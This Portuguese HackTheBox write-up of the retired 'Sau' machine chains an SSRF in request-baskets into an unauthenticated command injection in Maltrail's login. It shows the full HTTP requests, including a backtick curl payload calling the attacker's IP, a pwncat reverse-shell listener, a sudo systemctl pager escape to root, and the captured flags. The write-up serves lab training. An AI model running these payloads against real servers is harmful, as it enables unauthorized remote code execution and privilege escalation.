HackTheBox - Writeup Sau [Retired]
Tags: hackthebox, security, linux, cybersecurity
Published: 2024-01-06 15:02:34

#### HackTheBox

Neste writeup iremos explorar um máquina linux de nível easy chamada Sau.

Esta máquina aborda as seguintes vulnerabilidades e técnicas:

- **Server-side request forgery - ([CVE-2023-27163](https://vuldb.com/?id.224708))**
- **Unauthenticated OS Command Injection**
- **Privilege Escalation com systemctl**

Ao longo do writeup são exibidos alguns ips diferentes, mas é o mesma alvo. Isso ocorreu por ter ocorrido o reset da máquina, alguns prints foram feitos em momentos distintos para montar o passo a passo abaixo na ordem correta.

### Recon e user flag

Iremos iniciar realizando um scan através do nmap buscando portas abertas em nossa máquina:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/sau]
└─# nmap -sV --open -Pn -sC 10.129.139.32
Starting Nmap 7.93 ( <https://nmap.org> ) at 2023-07-10 18:53 EDT
Nmap scan report for 10.10.11.224
Host is up (0.19s latency).
Not shown: 997 closed tcp ports (reset), 1 filtered tcp port (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 aa8867d7133d083a8ace9dc4ddf3e1ed (RSA)
|   256 ec2eb105872a0c7db149876495dc8a21 (ECDSA)
|_  256 b30c47fba2f212ccce0b58820e504336 (ED25519)
55555/tcp open  unknown
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Mon, 10 Jul 2023 22:54:11 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Mon, 10 Jul 2023 22:53:38 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Mon, 10 Jul 2023 22:53:39 GMT
|_    Content-Length: 0
```

Notamos que além da porta 22 temos a 55555 aberta, que ao acessarmos pelo navegador temos a seguinte tela:
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/emdlxwfvery9o4359ds3.png)

Se trata de uma aplicação chamada [requests-baskets](https://github.com/darklynx/request-baskets) que é um serviço da web para coletar solicitações HTTP arbitrárias e inspecioná-las via API RESTful ou interface de usuário da web simples. Neste caso é via web e esta na versão 1.2.1.

Pesquisando por vulnerabilidades encontramos a **[CVE-2023-27163](https://vuldb.com/?id.224708), que se trata de um SSRF.**

**Server-side request forgery** é uma vulnerabilidade de segurança da Web que permite que um invasor induza o aplicativo do lado do servidor a fazer solicitações para um local não intencional.

Em nosso caso iremos utilizar para visualizar serviços rodando locamente no servidor. Para isso é recomendado utilizar portas conhecidas, como a web 80 e 443, de bancos de dados como mysql 3306, postgres 5432, mongodb 27017 e etc.

No cenário especifico que estamos conseguimos acesso a um serviço rodando na porta 80.

Como estamos utilizando o burp suite como proxy podemos reproduzir os requests de criação de basket através do mesmo, desta forma conseguimos realizar a POC do SSRF na porta 80 da seguinte forma:

```txt
POST /api/baskets/test HTTP/1.1
Host: 10.129.229.26:55555
Content-Length: 142
Accept: */*
X-Requested-With: XMLHttpRequest
Authorization: null
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Origin: <http://10.129.229.26:55555>
Referer: <http://10.129.229.26:55555/web>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{
  "forward_url": "http://127.0.0.1:80",
  "proxy_response": false,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}
```
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o026v4xbeh8b5za5ucj9.png)

Com o token conseguimos acesso a basket criada e assim encontramos a url de acesso a nossa basket, que no caso é o IP:55555/nome-basket.

Ao acessar notamos que se trata de um serviço chamado MailTrail na versão v0.53:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4dalw9yoxdpz48v4s12f.png)

Buscando por vulnerabilidades encontramos um ****Unauthenticated OS Command Injection**** que foi reportado:

[OS Command Injection in maltrail](https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/)

> The **`subprocess.check_output`** function in mailtrail/core/http.py contains a command injection vulnerability in the **`params.get("username")`**parameter.

Com isso temos uma POC para utilizar. Precisamos realizar um ajuste de forma que a url de nossa basket vá diretamente para o login sem precisar passar o endpoint pois a vulnerabilidade esta no mesmo. Adicionamos o **/login**:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ului8tmx0k09ixe8jvl8.png)

E ao acessarmos novamente a url de nossa basket temos o seguinte retorno:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7ubk048i9hyb1zaqe8ap.png)

Para validar a execução do Command Injection basta subir um servidor python local e realizar um curl pelo burp suite.

```txt
POST /test HTTP/1.1
Host: 10.129.143.244:55555
Content-Length: 57
Accept: */*
X-Requested-With: XMLHttpRequest
Authorization: null
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Origin: <http://10.129.143.244:55555>
Referer: <http://10.129.143.244:55555/web>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username=;`curl http://10.10.14.186:8081/anything`
```

Em nosso servidor local devemos ver a requisição realizada, confirmando assim a vulnerabilidade.

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (<http://0.0.0.0:8081/>) ...
10.129.143.244 - - [13/Jul/2023 10:24:55] code 404, message File not found
10.129.143.244 - - [13/Jul/2023 10:24:55] "GET /anything HTTP/1.1" 404 -
```

O próximo passo é realizar o upload de nossa reverse shell através dos seguintes passos:


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j5rlr12nn928ip41ahnq.png)

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uhz939ad9fnp44p66chb.png)

Agora iremos utilizar o **[pwncat](https://github.com/calebstewart/pwncat)** para acessar nosso reverse shell:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/sau]
└─# pwncat-cs -lp 443
/usr/local/lib/python3.11/dist-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated
  'class': algorithms.Blowfish,
[13:05:05] Welcome to pwncat 🐈!                                                                                       __main__.py:164
```

Agora executamos nossa reverse shell:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/iw29tlqu418eqduoknsu.png)

Temos uma shell como usuário **puma** e conseguimos a user flag:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/sau]
└─# pwncat-cs -lp 443
/usr/local/lib/python3.11/dist-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated
  'class': algorithms.Blowfish,
[13:05:05] Welcome to pwncat 🐈!                                                                                       __main__.py:164
[13:05:17] received connection from 10.129.143.244:55184                                                                    bind.py:84
[13:05:23] 0.0.0.0:443: upgrading from /usr/bin/dash to /usr/bin/bash                                                   manager.py:957
[13:05:26] 10.129.143.244:55184: registered new host w/ db                                                              manager.py:957
(local) pwncat$
(remote) puma@sau:/opt/maltrail$ cat /home/puma/user.txt
004f0407c363390ac424ee2643903ed4
```

### Escalação de privilégios e root flag

Agora que temos acesso como usuário podemos realizar um reconhecimento do sistema e das permissões que temos. Com isso encontramos o seguinte comando que pode ser executado com **permissão de root** com **sudo** sem a necessidade de utilizar senha:

```bash
(remote) puma@sau:/opt/maltrail$ sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
```

Buscando uma maneira de escalação de privilégios explorando um binário podemos utilizar o **GTFOBins:**

[GTFOBins](https://gtfobins.github.io/)

É uma documentação que nos mostra diversas forma de explorar binários.

Buscando por [systemclt](https://gtfobins.github.io/gtfobins/systemctl/) iremos utilizar a opção C. Como estamos utilizando o comando com permissões de root podemos executar comandos quando a saída do comando for do tipo [less](https://gtfobins.github.io/gtfobins/less/). Ou seja, conseguimos executar comandos e se estamos como root, executamos com tais permissões.

```bash
(remote) puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
     Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset: enabled)
     Active: active (running) since Thu 2023-07-13 16:50:42 UTC; 16min ago
       Docs: <https://github.com/stamparm/maltrail#readme>
             <https://github.com/stamparm/maltrail/wiki>
   Main PID: 870 (python3)
      Tasks: 16 (limit: 4662)
     Memory: 28.5M
     CGroup: /system.slice/trail.service
             ├─ 870 /usr/bin/python3 server.py
             ├─ 997 /bin/sh -c logger -p auth.info -t "maltrail[870]" "Failed password for ;`bash /tmp/rev2.sh` from 127.0.0.1 port 4>
             ├─ 998 bash /tmp/rev2.sh
             ├─ 999 sh -i
             ├─1003 script /dev/null -c bash
             ├─1004 bash
             ├─1014 /bin/sh -c logger -p auth.info -t "maltrail[870]" "Failed password for ;`bash /tmp/rev2.sh` from 127.0.0.1 port 3>
             ├─1015 bash /tmp/rev2.sh
             ├─1016 /usr/bin/bash
             ├─1037 /usr/bin/script -qc /usr/bin/bash /dev/null
             ├─1038 /usr/bin/bash
             ├─1153 sudo /usr/bin/systemctl status trail.service
             ├─1154 /usr/bin/systemctl status trail.service
             └─1155 pager

Jul 13 17:05:01 sau sudo[1011]: pam_unix(sudo:auth): conversation failed
Jul 13 17:05:01 sau sudo[1011]: pam_unix(sudo:auth): auth could not identify password for [puma]
Jul 13 17:05:01 sau sudo[1011]:     puma : command not allowed ; TTY=pts/0 ; PWD=/opt/maltrail ; USER=root ; COMMAND=/usr/bin/systemc>
Jul 13 17:06:18 sau sudo[1105]: pam_unix(sudo:auth): authentication failure; logname= uid=1001 euid=0 tty=/dev/pts/1 ruser=puma rhost>
Jul 13 17:06:31 sau sudo[1105]: pam_unix(sudo:auth): conversation failed
Jul 13 17:06:31 sau sudo[1105]: pam_unix(sudo:auth): auth could not identify password for [puma]
Jul 13 17:06:31 sau sudo[1105]:     puma : command not allowed ; TTY=pts/1 ; PWD=/opt/maltrail ; USER=root ; COMMAND=/usr/bin/systemc>
Jul 13 17:06:33 sau sudo[1131]:     puma : TTY=pts/1 ; PWD=/opt/maltrail ; USER=root ; COMMAND=list
Jul 13 17:07:08 sau sudo[1153]:     puma : TTY=pts/1 ; PWD=/opt/maltrail ; USER=root ; COMMAND=/usr/bin/systemctl status trail.service
Jul 13 17:07:08 sau sudo[1153]: pam_unix(sudo:session): session opened for user root by (uid=0)
!sh
# id
uid=0(root) gid=0(root) groups=0(root)
# ls -a /root
.  ..  .bash_history  .bashrc  .cache  .lesshst  .local  .profile  .ssh  .vimrc  .wget-hsts  go  root.txt
# cat /root/root/txt^H^H^H
cat: '/root/root/txt'$'\\b\\b\\b': No such file or directory
# cat /root/root.txt
732ce9fa81f98bdff7161e8970341328
```

Com isso conseguimos um shell como root e assim finalizamos a máquina com a root flag.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hv9arjc4h2ti1x38h8cz.png)